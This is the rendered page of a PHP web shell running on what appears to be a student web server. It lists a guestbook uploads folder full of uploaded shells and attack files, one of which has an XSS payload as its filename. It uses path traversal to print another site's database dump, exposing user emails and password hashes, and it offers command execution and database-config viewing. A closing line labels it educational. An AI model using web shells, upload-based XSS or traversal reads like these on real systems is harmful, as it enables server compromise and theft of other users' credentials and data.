🐚 WEB SHELL ACTIVATED

πŸ“ File Browser

Current directory: /home/klas4s23/domains/585455.klas4s23.mid-ica.nl/public_html/Gastenboek/uploads

πŸ“„ ' onerror='alert(`Gehacked door Jasper!`);window.location.replace(`..`)'.png [view]
πŸ“ ..
πŸ“„ 003b15869ae62d2ceeee451a5f652dd6.png [view]
πŸ“„ 0tk5j14v024b1.jpg [view]
πŸ“„ 300px-Cursed_Cat.jpg [view]
πŸ“„ 32640-afbeelding-1__ScaleMaxWidthWzYwMF0_CompressedW10.jpg [view]
πŸ“„ Bill-Gates-Paul-Allen-2013.jpg [view]
πŸ“„ CV Jasper Kramp.png [view]
πŸ“„ Cat profile.png [view]
πŸ“„ Fronalpstock_big.jpg [view]
πŸ“„ Krik en las.jpg [view]
πŸ“„ Krik.jpg [view]
πŸ“„ Pino-dood-03.jpg [view]
πŸ“„ Shellz.php [view]
πŸ“„ Ted_Kaczynski_2_(cropped).jpg [view]
πŸ“„ Tux.svg.png [view]
πŸ“„ Z.png [view]
πŸ“„ android.jpg [view]
πŸ“„ apple.php [view]
πŸ“„ cianancatfish.jpg [view]
πŸ“„ downloads (1).jpeg [view]
πŸ“„ downloads.jpeg [view]
πŸ“„ epresso.jpg [view]
πŸ“„ fake_photo.png [view]
πŸ“„ hand.jpg [view]
πŸ“„ https___dynaimage.cdn.cnn.com_cnn_x_156,y_210,w_1209,h_1612,c_crop_https2F2F5bae1c384db3d70020c01c40%2FfireflyWolfy.jpg [view]
πŸ“„ image.png [view]
πŸ“„ images.jpeg [view]
πŸ“„ info.php [view]
πŸ“„ inject.php [view]
πŸ“„ instant_redirect.jpg [view]
πŸ“„ japper.jpg [view]
πŸ“„ koekiemonster-3.jpg [view]
πŸ“„ logo.png [view]
πŸ“„ muis.jpg [view]
πŸ“„ people-call-woman-ugly-responds-with-more-selfies-melissa-blake-1-5d75f249a418b__700.jpg [view]
πŸ“„ picobellobv.jpeg [view]
πŸ“„ redirect.php [view]
πŸ“„ rupsje-nooitgenoeg-knuffel-pluche-42-cm-500x500.jpg [view]
πŸ“„ sdfsa.png [view]
πŸ“„ sneaky.svg [view]
πŸ“„ taylor.webp [view]
πŸ“„ test.html [view]
πŸ“„ testpreg.php [view]
πŸ“„ testpreg1.php [view]
πŸ“„ testtest.php.JPG [view]
πŸ“„ ultimate_attack.gif [view]
πŸ“„ ultimate_attack.php [view]
πŸ“„ ultimate_attack.svg [view]
πŸ“„ wallpaper.jpg [view]
πŸ“„ webshell.php [view]

πŸ“„ Viewing: ./../../../../583521.klas4s23.mid-ica.nl/public_html/e-learing/e-learning.sql

-- phpMyAdmin SQL Dump
-- version 5.2.1
-- https://www.phpmyadmin.net/
--
-- Host: 127.0.0.1
-- Gegenereerd op: 22 jan 2025 om 10:20
-- Serverversie: 10.4.32-MariaDB
-- PHP-versie: 8.0.30

SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
START TRANSACTION;
SET time_zone = "+00:00";


/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8mb4 */;

--
-- Database: `e-learning`
--

-- --------------------------------------------------------

--
-- Tabelstructuur voor tabel `lists`
--

CREATE TABLE `lists` (
  `id` int(11) NOT NULL,
  `name` varchar(255) NOT NULL,
  `mode` varchar(50) DEFAULT NULL,
  `questions` text NOT NULL,
  `answers` text NOT NULL,
  `created_at` timestamp NOT NULL DEFAULT current_timestamp(),
  `user_id` int(11) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci;

--
-- Gegevens worden geΓ«xporteerd voor tabel `lists`
--

INSERT INTO `lists` (`id`, `name`, `mode`, `questions`, `answers`, `created_at`, `user_id`) VALUES
(51, 'normale quiz', 'openbaar', '[\"aap\",\"kaas\",\"chocolade\"]', '[\"monkey\",\"cheese\",\"chocolate\"]', '2024-12-11 07:53:23', 2),
(56, 'vdsv', 'privΓ©', '[\"svd\"]', '[\"svd\"]', '2025-01-13 11:45:57', 2),
(57, 'Nieuw', 'privΓ©', '[\"nieuw\"]', '[\"new\"]', '2025-01-13 12:58:19', 2),
(59, 'kg', '', '[\"asdf\"]', '[\"ghjk\"]', '2025-01-20 11:53:14', 7),
(60, 'peter\'s quiz', 'openbaar', '[\"hond\",\"wow\"]', '[\"dog\",\"wow\"]', '2025-01-21 12:55:43', 2);

-- --------------------------------------------------------

--
-- Tabelstructuur voor tabel `users`
--

CREATE TABLE `users` (
  `id` int(11) NOT NULL,
  `username` varchar(50) NOT NULL,
  `email` varchar(100) NOT NULL,
  `password` varchar(255) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci;

--
-- Gegevens worden geΓ«xporteerd voor tabel `users`
--

INSERT INTO `users` (`id`, `username`, `email`, `password`) VALUES
(2, 'admin', 'test@test.nl', '$2y$10$8OIapJzuS75Vz2c8Qr53EeTeAOPRuEnBvX9ZDrptpXN1lTOduf/Oi'),
(3, 'bv', 'dixif90761@lanxi8.com', '$2y$10$jH/e643gz8Vg4TwHo3PaFO6ONjWwEZGmEMGpsV57DxmPiwfgC0UVW'),
(4, 'nb', 'gsdgsdfg@gmail.com', '$2y$10$7Sq2LADFqo8fxcWdBtzXPO/5jhR1XXcp1IpHDYQbHr6o/937FFYBK'),
(5, '123', '123@123', '$2y$10$7VySsINMUskspqqeHjq2Z.MtbfnlzbwvF5zgnVihO8ymVjqUevrDO'),
(6, 'ops', 'ops@ops.nl', '$2y$10$79nN0HMDT3MWG8U6aornwO1HrDHtTJdVG8FQuF2ZM9kguAycBByMO'),
(7, 'qw', 'qw@qw.net', '$2y$10$5SqbwgygjG9u2RKPs.tXMegthCzZN7ag4nTVVzGO0Ccu6FR9rGeuW'),
(9, 'info', 'info@info.nl', '$2y$10$Qjlfez6gQxy7y0xqiRKBqOB2AJJmCaTIzUokXXJYwe6hvrvnaf2ve'),
(10, 'bb', 'bb@bb.nl', '$2y$10$.zqRHnAFL6s6S0yOgUUYn.gMEBd9ZxYeS7DaT7OAOlOIldVW365Le'),
(11, 'bbcv', 'b@b.nl', '$2y$10$kXLIIqZLxuPuk5C2OrB8KOR/0RbomB4fKC3Ns.7nhRIjlGOGavq7G'),
(12, 'asdfasdfdf', 'hallo@hallo.com', '$2y$10$g7vddaExdHs4iJNoO3c/BedVfB4A202y9.2/tVBExO7.akFcBTudG');

--
-- Indexen voor geΓ«xporteerde tabellen
--

--
-- Indexen voor tabel `lists`
--
ALTER TABLE `lists`
  ADD PRIMARY KEY (`id`);

--
-- Indexen voor tabel `users`
--
ALTER TABLE `users`
  ADD PRIMARY KEY (`id`);

--
-- AUTO_INCREMENT voor geΓ«xporteerde tabellen
--

--
-- AUTO_INCREMENT voor een tabel `lists`
--
ALTER TABLE `lists`
  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=61;

--
-- AUTO_INCREMENT voor een tabel `users`
--
ALTER TABLE `users`
  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=13;
COMMIT;

/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;

🎯 Available Actions

Command Execution:

Quick Commands:

πŸ“‹ List files | πŸ‘€ Show user | πŸ“ Show directory | πŸ”„ Show processes | πŸ” Show users

File Operations:

⬆️ Parent directory | 🏠 Root directory | πŸ” View DB config
⚠️ Educational Warning: This demonstrates a web shell vulnerability. In a real attack, this could allow complete server compromise!